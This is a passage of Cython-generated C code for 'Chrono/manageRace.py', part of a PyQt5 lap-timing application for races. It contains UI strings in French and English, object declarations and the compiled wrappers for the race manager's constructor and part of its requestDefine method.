__pyx_k_Ui_set_RaceLen[] = "Ui_set_RaceLen"; static const char __pyx_k_setColumnCount[] = "setColumnCount"; static const char __pyx_k_setColumnWidth[] = "setColumnWidth"; static const char __pyx_k_setWindowTitle[] = "setWindowTitle"; static const char __pyx_k_DescendingOrder[] = "DescendingOrder"; static const char __pyx_k_Finish_Flag_s_p[] = "Finish Flag: %s - %%p%%"; static const char __pyx_k_PyQt5_QtWidgets[] = "PyQt5.QtWidgets"; static const char __pyx_k_Suspending_Race[] = "Suspending Race"; static const char __pyx_k_manageRace_stop[] = "manageRace.stop"; static const char __pyx_k_setColumnHidden[] = "setColumnHidden"; static const char __pyx_k_setCurrentIndex[] = "setCurrentIndex"; static const char __pyx_k_QCoreApplication[] = "QCoreApplication"; static const char __pyx_k_QTableWidgetItem[] = "QTableWidgetItem"; static const char __pyx_k_manageRace_start[] = "manageRace.start"; static const char __pyx_k_setDefaultButton[] = "setDefaultButton"; static const char __pyx_k_Chrono_manageRace[] = "Chrono.manageRace"; static const char __pyx_k_createTimeSeconds[] = "createTimeSeconds"; static const char __pyx_k_manageRace___init[] = "manageRace.__init__"; static const char __pyx_k_manageRace_doRace[] = "manageRace.doRace"; static const char __pyx_k_manageRace_update[] = "manageRace.update"; static const char __pyx_k_nbTourIntNumInput[] = "nbTourIntNumInput"; static const char __pyx_k_gui_Ui_set_RaceLen[] = "gui.Ui_set_RaceLen"; static const char __pyx_k_setInformativeText[] = "setInformativeText"; static const char __pyx_k_setStandardButtons[] = "setStandardButtons"; static const char __pyx_k_Suspendre_la_course[] = "Suspendre la course"; static const char __pyx_k_C_concurrents_TP_fmt[] = "C_concurrents_TP_fmt"; static const char __pyx_k_in_manageRace_update[] = "in manageRace.update"; static const char __pyx_k_def_requestDefine_self[] = "def requestDefine(self):"; static const char __pyx_k_setHorizontalHeaderItem[] = "setHorizontalHeaderItem"; static const char __pyx_k_Race_ended_all_racer_out[] = "Race ended, all racer out "; static const char __pyx_k_manageRace_requestDefine[] = "manageRace.requestDefine"; static const char __pyx_k_manageRace___init___d_d_s[] = "manageRace.__init__(%d, %d, %s)"; static const char __pyx_k_Arreter_la_course_en_cours[] = "Arreter la course en cours"; static const char __pyx_k_Time_finished_s_Laps_d_d_p[] = "Time finished: %s, Laps %d/%d - %%p%%"; static const char __pyx_k_Stop_de_course_Drapeau_ROUGE[] = "Stop de course, Drapeau ROUGE"; static const char __pyx_k_Course_termine_Drapeau_Damier[] = "Course termin\303\251e, Drapeau Damier"; static const char __pyx_k_in_update_setLine_color_d_d_s[] = "in update, setLine( color,%d,%d,%s)"; static const char __pyx_k_Course_Meilleur_tour_s_d_s_dans[] = "Course, Meilleur tour: %s => %d, %s dans le tour: %d"; static const char __pyx_k_Stopping_Race_and_finishing_lap[] = "Stopping Race, and finishing lap "; static const char __pyx_k_home_thor_Devel_Transponder_Chr[] = "/home/thor/Devel/Transponder/Chrono/manageRace.py"; static const char __pyx_k_manageRace_doRace_locals_lambda[] = "manageRace.doRace.<locals>.<lambda>"; static const char __pyx_k_Tout_le_classement_sera_perdu_en[] = "Tout le classement sera perdu en cas d'arret"; static const char __pyx_k_Tout_les_concurrents_sont_hors_d[] = "Tout les concurrents sont hors du parcours"; static const char __pyx_k_manageRace_update_locals_setLine[] = "manageRace.update.<locals>.setLine"; static PyObject *__pyx_kp_u_3_3d; static PyObject *__pyx_kp_u_3_3d_10_10x; static PyObject *__pyx_kp_u_3d; static PyObject *__pyx_n_s_ActionRole; static PyObject *__pyx_kp_u_Arreter_la_course_en_cours; static PyObject *__pyx_n_s_B_Define; static PyObject *__pyx_n_s_B_Start; static PyObject *__pyx_n_s_B_Stop; static PyObject *__pyx_n_s_C_concurrents_TP_fmt; static PyObject *__pyx_n_s_Cancel; static PyObject *__pyx_n_s_Chrono_manageRace; static PyObject *__pyx_kp_u_Course_Meilleur_tour_s_d_s_dans; static PyObject *__pyx_kp_u_Course_termine_Drapeau_Damier; static PyObject *__pyx_n_s_Critical; static PyObject *__pyx_n_u_Cyan; static PyObject *__pyx_n_s_DescendingOrder; static PyObject *__pyx_n_u_EndTime; static PyObject *__pyx_kp_u_Finir_le_tour; static PyObject *__pyx_n_u_Finish; static PyObject *__pyx_kp_u_Finish_Flag_s_p; static PyObject *__pyx_n_s_Globals; static PyObject *__pyx_n_u_Green; static PyObject *__pyx_n_s_MainWindow; static PyObject *__pyx_n_u_MainWindow; static PyObject *__pyx_n_s_Ok; static PyObject *__pyx_n_s_PB_TimeRace; static PyObject *__pyx_n_s_P_Race; static PyObject *__pyx_n_s_PyQt5_QtCore; static PyObject *__pyx_n_s_PyQt5_QtGui; static PyObject *__pyx_n_s_PyQt5_QtWidgets; static PyObject *__pyx_n_s_QBrush; static PyObject *__pyx_n_s_QCheckBox; static PyObject *__pyx_n_s_QCoreApplication; static PyObject *__pyx_n_s_QDialog; static PyObject *__pyx_n_s_QIcon; static PyObject *__pyx_n_s_QMessageBox; static PyObject *__pyx_n_s_QTableWidgetItem; static PyObject *__pyx_n_s_QTime; static PyObject *__pyx_n_s_QTimer; static PyObject *__pyx_n_s_Qt; static PyObject *__pyx_n_s_Queue; static PyObject *__pyx_n_s_R_RaceLive; static PyObject *__pyx_kp_u_Race_ended_all_racer_out; static PyObject *__pyx_n_s_SolidPattern; static PyObject *__pyx_n_u_Start; static PyObject *__pyx_n_u_Stop; static PyObject *__pyx_kp_u_Stop_de_course_Drapeau_ROUGE; static PyObject *__pyx_kp_u_Stopping_Race; static PyObject *__pyx_kp_u_Stopping_Race_and_finishing_lap; static PyObject *__pyx_n_u_Suspend; static PyObject *__pyx_kp_u_Suspending_Race; static PyObject *__pyx_kp_u_Suspendre_la_course; static PyObject *__pyx_kp_u_Time_finished_s_Laps_d_d_p; static PyObject *__pyx_kp_u_Tout_le_classement_sera_perdu_en; static PyObject *__pyx_kp_u_Tout_les_concurrents_sont_hors_d; static PyObject *__pyx_n_s_Ui_set_RaceLen; static PyObject *__pyx_kp_u_Unknow_TP__d; static PyObject *__pyx_n_s_ValueError; static PyObject *__pyx_n_u_Violet; static PyObject *__pyx_n_u_Waiting; static PyObject *__pyx_n_s_Warning; static PyObject *__pyx_n_u_White; static PyObject *__pyx_kp_u__29; static PyObject *__pyx_n_s_addButton; static PyObject *__pyx_n_s_append; static PyObject *__pyx_n_s_basecol; static PyObject *__pyx_n_u_best; static PyObject *__pyx_n_s_bestLap; static PyObject *__pyx_n_s_bestLapTb; static PyObject *__pyx_n_s_bestPartial; static PyObject *__pyx_n_u_bestlap; static PyObject *__pyx_n_s_brush; static PyObject *__pyx_n_s_btn; static PyObject *__pyx_n_s_c; static PyObject *__pyx_n_s_char_width; static PyObject *__pyx_n_s_chk1; static PyObject *__pyx_n_s_cl; static PyObject *__pyx_n_s_clickedButton; static PyObject *__pyx_n_s_cmdEndTime; static PyObject *__pyx_n_s_cmdFinish; static PyObject *__pyx_n_s_cmdStart; static PyObject *__pyx_n_s_cmdStop; static PyObject *__pyx_n_s_cmdSuspend; static PyObject *__pyx_n_s_cmdSuspended; static PyObject *__pyx_n_s_cmdWaiting; static PyObject *__pyx_n_s_col; static PyObject *__pyx_n_s_color; static PyObject *__pyx_n_s_colors; static PyObject *__pyx_n_s_cols; static PyObject *__pyx_n_s_column; static PyObject *__pyx_n_s_connect; static PyObject *__pyx_n_s_createTime; static PyObject *__pyx_n_s_createTimeSeconds; static PyObject *__pyx_n_s_curtime; static PyObject *__pyx_n_s_decoder; static PyObject *__pyx_kp_u_def_requestDefine_self; static PyObject *__pyx_n_s_dictRace; static PyObject *__pyx_n_s_dlg; static PyObject *__pyx_n_s_doRace; static PyObject *__pyx_n_s_doc; static PyObject *__pyx_n_s_dur; static PyObject *__pyx_n_s_durETimeEdit; static PyObject *__pyx_n_s_duration; static PyObject *__pyx_n_s_duration_2; static PyObject *__pyx_n_s_e; static PyObject *__pyx_n_s_empty; static PyObject *__pyx_n_u_ended; static PyObject *__pyx_n_s_exec; static PyObject *__pyx_kp_u_finish_flag; static PyObject *__pyx_n_s_getActualRace; static PyObject *__pyx_n_s_get_nowait; static PyObject *__pyx_kp_u_got_an_error; static PyObject *__pyx_n_s_gui; static PyObject *__pyx_n_s_gui_Ui_set_RaceLen; static PyObject *__pyx_kp_s_home_thor_Devel_Transponder_Chr; static PyObject *__pyx_n_s_hour; static PyObject *__pyx_n_s_i; static PyObject *__pyx_n_s_icon; static PyObject *__pyx_n_s_icons; static PyObject *__pyx_n_s_import; static PyObject *__pyx_kp_u_in_manageRace_update; static PyObject *__pyx_kp_u_in_update_setLine_color_d_d_s; static PyObject *__pyx_n_s_index; static PyObject *__pyx_n_s_indexOf; static PyObject *__pyx_n_s_init; static PyObject *__pyx_n_s_isChecked; static PyObject *__pyx_n_s_item; static PyObject *__pyx_n_s_items; static PyObject *__pyx_n_s_key; static PyObject *__pyx_n_s_l; static PyObject *__pyx_n_s_lap; static PyObject *__pyx_n_u_lapcount; static PyObject *__pyx_n_s_laps; static PyObject *__pyx_n_u_laps; static PyObject *__pyx_n_s_laps_2; static PyObject *__pyx_n_s_laps_width; static PyObject *__pyx_n_u_last; static PyObject *__pyx_n_u_lastlap; static PyObject *__pyx_n_u_lasttick; static PyObject *__pyx_n_s_main; static PyObject *__pyx_n_s_manageRace; static PyObject *__pyx_n_s_manageRace___init; static PyObject *__pyx_kp_u_manageRace___init___d_d_s; static PyObject *__pyx_n_s_manageRace_doRace; static PyObject *__pyx_n_s_manageRace_doRace_locals_lambda; static PyObject *__pyx_n_s_manageRace_requestDefine; static PyObject *__pyx_n_s_manageRace_start; static PyObject *__pyx_n_s_manageRace_stop; static PyObject *__pyx_n_s_manageRace_update; static PyObject *__pyx_n_s_manageRace_update_locals_setLine; static PyObject *__pyx_n_s_max_time; static PyObject *__pyx_n_s_maxrows; static PyObject *__pyx_n_s_maxsize; static PyObject *__pyx_n_s_metaclass; static PyObject *__pyx_n_s_millis; static PyObject *__pyx_n_s_minute; static PyObject *__pyx_n_s_module; static PyObject *__pyx_n_s_msg; static PyObject *__pyx_n_u_name; static PyObject *__pyx_n_s_name_width; static PyObject *__pyx_n_s_nbTourIntNumInput; static PyObject *__pyx_n_u_nom; static PyObject *__pyx_n_u_num; static PyObject *__pyx_n_s_num_width; static PyObject *__pyx_n_u_numero; static PyObject *__pyx_n_u_partial; static PyObject *__pyx_n_s_partials; static PyObject *__pyx_n_u_preferences; static PyObject *__pyx_n_u_prenom; static PyObject *__pyx_n_s_prepare; static PyObject *__pyx_n_s_print; static PyObject *__pyx_n_s_private; static PyObject *__pyx_n_s_ptt; static PyObject *__pyx_n_s_q; static PyObject *__pyx_n_s_qualname; static PyObject *__pyx_n_s_queue; static PyObject *__pyx_n_u_queue; static PyObject *__pyx_n_s_r; static PyObject *__pyx_n_u_race; static PyObject *__pyx_n_s_raceDuration; static PyObject *__pyx_n_s_raceLaps; static PyObject *__pyx_n_s_raceTime; static PyObject *__pyx_n_s_racerList; static PyObject *__pyx_n_s_range; static PyObject *__pyx_n_s_receiver; static PyObject *__pyx_n_s_remain_lap; static PyObject *__pyx_n_u_remticks; static PyObject *__pyx_n_s_requestDefine; static PyObject *__pyx_n_s_reverse; static PyObject *__pyx_n_u_ridername; static PyObject *__pyx_n_u_ridernum; static PyObject *__pyx_n_s_row; static PyObject *__pyx_n_u_row; static PyObject *__pyx_kp_u_s; static PyObject *__pyx_kp_u_s_s; static PyObject *__pyx_kp_u_s_s_p; static PyObject *__pyx_n_s_self; static PyObject *__pyx_n_s_setBackground; static PyObject *__pyx_n_s_setCheckBox; static PyObject *__pyx_n_s_setColumnCount; static PyObject *__pyx_n_s_setColumnHidden; static PyObject *__pyx_n_s_setColumnWidth; static PyObject *__pyx_n_s_setCurrentIndex; static PyObject *__pyx_n_s_setDefaultButton; static PyObject *__pyx_n_s_setEnabled; static PyObject *__pyx_n_s_setFormat; static PyObject *__pyx_n_s_setHorizontalHeaderItem; static PyObject *__pyx_n_s_setIcon; static PyObject *__pyx_n_s_setInformativeText; static PyObject *__pyx_n_s_setItem; static PyObject *__pyx_n_s_setItemText; static PyObject *__pyx_n_s_setLine; static PyObject *__pyx_n_s_setMaximum; static PyObject *__pyx_n_s_setProperty; static PyObject *__pyx_n_s_setRowCount; static PyObject *__pyx_n_s_setStandardButtons; static PyObject *__pyx_n_s_setStyle; static PyObject *__pyx_n_s_setText; static PyObject *__pyx_n_s_setTime; static PyObject *__pyx_n_s_setValue; static PyObject *__pyx_n_s_setWindowTitle; static PyObject *__pyx_n_s_setupUi; static PyObject *__pyx_n_u_short; static PyObject *__pyx_n_s_show; static PyObject *__pyx_n_s_sortItems; static PyObject *__pyx_n_s_sorted; static PyObject *__pyx_n_s_start; static PyObject *__pyx_n_s_start_time; static PyObject *__pyx_n_s_start_time_ms; static PyObject *__pyx_n_s_status; static PyObject *__pyx_n_s_status_2; static PyObject *__pyx_n_s_stop; static PyObject *__pyx_n_s_t; static PyObject *__pyx_n_s_task; static PyObject *__pyx_n_s_test; static PyObject *__pyx_n_s_text; static PyObject *__pyx_n_u_textcolor; static PyObject *__pyx_n_s_theRace; static PyObject *__pyx_n_s_tick; static PyObject *__pyx_n_s_time; static PyObject *__pyx_n_u_time; static PyObject *__pyx_n_s_time_width; static PyObject *__pyx_n_s_timeout; static PyObject *__pyx_n_s_timer; static PyObject *__pyx_n_s_toolBox; static PyObject *__pyx_n_u_totticks; static PyObject *__pyx_n_s_tp; static PyObject *__pyx_n_s_tpRacerList; static PyObject *__pyx_n_s_translate; static PyObject *__pyx_n_s_tt; static PyObject *__pyx_n_s_txt; static PyObject *__pyx_n_s_type; static PyObject *__pyx_n_u_type; static PyObject *__pyx_n_s_update; static PyObject *__pyx_n_u_updated; static PyObject *__pyx_n_s_val; static PyObject *__pyx_n_s_value; static PyObject *__pyx_n_u_value; static PyObject *__pyx_pf_6Chrono_10manageRace___defaults__(CYTHON_UNUSED PyObject *__pyx_self); /* proto */ static PyObject *__pyx_pf_6Chrono_10manageRace_10manageRace___init__(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_duration, PyObject *__pyx_v_laps, PyObject *__pyx_v_status); /* proto */ static PyObject *__pyx_pf_6Chrono_10manageRace_10manageRace_2requestDefine(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_index); /* proto */ static PyObject *__pyx_pf_6Chrono_10manageRace_10manageRace_4stop(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_6Chrono_10manageRace_10manageRace_6start(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_6Chrono_10manageRace_10manageRace_6update_setLine(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_color, PyObject *__pyx_v_row, PyObject *__pyx_v_column, PyObject *__pyx_v_text, PyObject *__pyx_v_icon); /* proto */ static PyObject *__pyx_pf_6Chrono_10manageRace_10manageRace_8update(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_lambda_funcdef_lambda(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_t); /* proto */ static PyObject *__pyx_pf_6Chrono_10manageRace_10manageRace_10doRace(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_tp, PyObject *__pyx_v_millis, PyObject *__pyx_v_type); /* proto */ static PyObject *__pyx_int_0; static PyObject *__pyx_int_1; static PyObject *__pyx_int_2; static PyObject *__pyx_int_3; static PyObject *__pyx_int_4; static PyObject *__pyx_int_5; static PyObject *__pyx_int_6; static PyObject *__pyx_int_7; static PyObject *__pyx_int_8; static PyObject *__pyx_int_12; static PyObject *__pyx_int_26; static PyObject *__pyx_int_60; static PyObject *__pyx_int_1000; static PyObject *__pyx_int_3600; static PyObject *__pyx_int_4000; static PyObject *__pyx_int_neg_1; static PyObject *__pyx_int_neg_2; static PyObject *__pyx_tuple_; static PyObject *__pyx_tuple__2; static PyObject *__pyx_tuple__3; static PyObject *__pyx_tuple__4; static PyObject *__pyx_tuple__5; static PyObject *__pyx_tuple__6; static PyObject *__pyx_tuple__7; static PyObject *__pyx_tuple__8; static PyObject *__pyx_tuple__9; static PyObject *__pyx_tuple__10; static PyObject *__pyx_tuple__11; static PyObject *__pyx_tuple__12; static PyObject *__pyx_tuple__13; static PyObject *__pyx_tuple__14; static PyObject *__pyx_tuple__15; static PyObject *__pyx_tuple__16; static PyObject *__pyx_tuple__17; static PyObject *__pyx_tuple__18; static PyObject *__pyx_tuple__19; static PyObject *__pyx_tuple__20; static PyObject *__pyx_tuple__21; static PyObject *__pyx_tuple__22; static PyObject *__pyx_tuple__23; static PyObject *__pyx_tuple__24; static PyObject *__pyx_tuple__26; static PyObject *__pyx_tuple__27; static PyObject *__pyx_tuple__28; static PyObject *__pyx_tuple__30; static PyObject *__pyx_tuple__31; static PyObject *__pyx_tuple__33; static PyObject *__pyx_tuple__35; static PyObject *__pyx_tuple__37; static PyObject *__pyx_tuple__39; static PyObject *__pyx_tuple__41; static PyObject *__pyx_codeobj__25; static PyObject *__pyx_codeobj__32; static PyObject *__pyx_codeobj__34; static PyObject *__pyx_codeobj__36; static PyObject *__pyx_codeobj__38; static PyObject *__pyx_codeobj__40; static PyObject *__pyx_codeobj__42; /* "Chrono/manageRace.py":53 * maxrows = 0 * * def __init__(self, duration, laps, status=cmdWaiting): # <<<<<<<<<<<<<< * self._duration = duration * self._laps = laps */ static PyObject *__pyx_pf_6Chrono_10manageRace___defaults__(CYTHON_UNUSED PyObject *__pyx_self) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; __Pyx_RefNannySetupContext("__defaults__", 0); __Pyx_XDECREF(__pyx_r); __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__Pyx_CyFunction_Defaults(__pyx_defaults, __pyx_self)->__pyx_arg_status); __Pyx_GIVEREF(__Pyx_CyFunction_Defaults(__pyx_defaults, __pyx_self)->__pyx_arg_status); PyTuple_SET_ITEM(__pyx_t_1, 0, __Pyx_CyFunction_Defaults(__pyx_defaults, __pyx_self)->__pyx_arg_status); __pyx_t_2 = PyTuple_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __Pyx_INCREF(Py_None); __Pyx_GIVEREF(Py_None); PyTuple_SET_ITEM(__pyx_t_2, 1, Py_None); __pyx_t_1 = 0; __pyx_r = __pyx_t_2; __pyx_t_2 = 0; goto __pyx_L0; /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_AddTraceback("Chrono.manageRace.__defaults__", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_1__init__(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_10manageRace_10manageRace_1__init__ = {"__init__", (PyCFunction)__pyx_pw_6Chrono_10manageRace_10manageRace_1__init__, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_1__init__(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_duration = 0; PyObject *__pyx_v_laps = 0; PyObject *__pyx_v_status = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__init__ (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_duration,&__pyx_n_s_laps,&__pyx_n_s_status,0}; PyObject* values[4] = {0,0,0,0}; __pyx_defaults *__pyx_dynamic_args = __Pyx_CyFunction_Defaults(__pyx_defaults, __pyx_self); values[3] = __pyx_dynamic_args->__pyx_arg_status; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_duration)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("__init__", 0, 3, 4, 1); __PYX_ERR(0, 53, __pyx_L3_error) } case 2: if (likely((values[2] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_laps)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("__init__", 0, 3, 4, 2); __PYX_ERR(0, 53, __pyx_L3_error) } case 3: if (kw_args > 0) { PyObject* value = PyDict_GetItem(__pyx_kwds, __pyx_n_s_status); if (value) { values[3] = value; kw_args--; } } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "__init__") < 0)) __PYX_ERR(0, 53, __pyx_L3_error) } } else { switch (PyTuple_GET_SIZE(__pyx_args)) { case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); values[0] = PyTuple_GET_ITEM(__pyx_args, 0); break; default: goto __pyx_L5_argtuple_error; } } __pyx_v_self = values[0]; __pyx_v_duration = values[1]; __pyx_v_laps = values[2]; __pyx_v_status = values[3]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("__init__", 0, 3, 4, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 53, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("Chrono.manageRace.manageRace.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_6Chrono_10manageRace_10manageRace___init__(__pyx_self, __pyx_v_self, __pyx_v_duration, __pyx_v_laps, __pyx_v_status); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_6Chrono_10manageRace_10manageRace___init__(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_duration, PyObject *__pyx_v_laps, PyObject *__pyx_v_status) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; __Pyx_RefNannySetupContext("__init__", 0); /* "Chrono/manageRace.py":54 * * def __init__(self, duration, laps, status=cmdWaiting): * self._duration = duration # <<<<<<<<<<<<<< * self._laps = laps * self._status = status */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_duration_2, __pyx_v_duration) < 0) __PYX_ERR(0, 54, __pyx_L1_error) /* "Chrono/manageRace.py":55 * def __init__(self, duration, laps, status=cmdWaiting): * self._duration = duration * self._laps = laps # <<<<<<<<<<<<<< * self._status = status * print("manageRace.__init__(%d, %d, %s)"%(duration, laps, status)) */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_laps_2, __pyx_v_laps) < 0) __PYX_ERR(0, 55, __pyx_L1_error) /* "Chrono/manageRace.py":56 * self._duration = duration * self._laps = laps * self._status = status # <<<<<<<<<<<<<< * print("manageRace.__init__(%d, %d, %s)"%(duration, laps, status)) * */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_status_2, __pyx_v_status) < 0) __PYX_ERR(0, 56, __pyx_L1_error) /* "Chrono/manageRace.py":57 * self._laps = laps * self._status = status * print("manageRace.__init__(%d, %d, %s)"%(duration, laps, status)) # <<<<<<<<<<<<<< * * def requestDefine( index ): */ __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_v_duration); __Pyx_GIVEREF(__pyx_v_duration); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_duration); __Pyx_INCREF(__pyx_v_laps); __Pyx_GIVEREF(__pyx_v_laps); PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_v_laps); __Pyx_INCREF(__pyx_v_status); __Pyx_GIVEREF(__pyx_v_status); PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_v_status); __pyx_t_2 = PyUnicode_Format(__pyx_kp_u_manageRace___init___d_d_s, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":53 * maxrows = 0 * * def __init__(self, duration, laps, status=cmdWaiting): # <<<<<<<<<<<<<< * self._duration = duration * self._laps = laps */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_AddTraceback("Chrono.manageRace.manageRace.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/manageRace.py":59 * print("manageRace.__init__(%d, %d, %s)"%(duration, laps, status)) * * def requestDefine( index ): # <<<<<<<<<<<<<< * print("def requestDefine(self):") * if index == 0: # nothing to do.... */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_3requestDefine(PyObject *__pyx_self, PyObject *__pyx_v_index); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_10manageRace_10manageRace_3requestDefine = {"requestDefine", (PyCFunction)__pyx_pw_6Chrono_10manageRace_10manageRace_3requestDefine, METH_O, 0}; static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_3requestDefine(PyObject *__pyx_self, PyObject *__pyx_v_index) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("requestDefine (wrapper)", 0); __pyx_r = __pyx_pf_6Chrono_10manageRace_10manageRace_2requestDefine(__pyx_self, ((PyObject *)__pyx_v_index)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_6Chrono_10manageRace_10manageRace_2requestDefine(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_index) { PyObject *__pyx_v_dlg = NULL; PyObject *__pyx_v_gui = NULL; PyObject *__pyx_v_t = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; int __pyx_t_2; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; int __pyx_t_9; PyObject *__pyx_t_10 = NULL; __Pyx_RefNannySetupContext("requestDefine", 0); /* "Chrono/manageRace.py":60 * * def requestDefine( index ): * print("def requestDefine(self):") # <<<<<<<<<<<<<< * if index == 0: # nothing to do.... * return */ __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple_, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":61 * def requestDefine( index ): * print("def requestDefine(self):") * if index == 0: # nothing to do.... # <<<<<<<<<<<<<< * return * elif index == 1: # Edit the race info */ __pyx_t_1 = __Pyx_PyInt_EqObjC(__pyx_v_index, __pyx_int_0, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_2 < 0)) __PYX_ERR(0, 61, __pyx_L1_error) 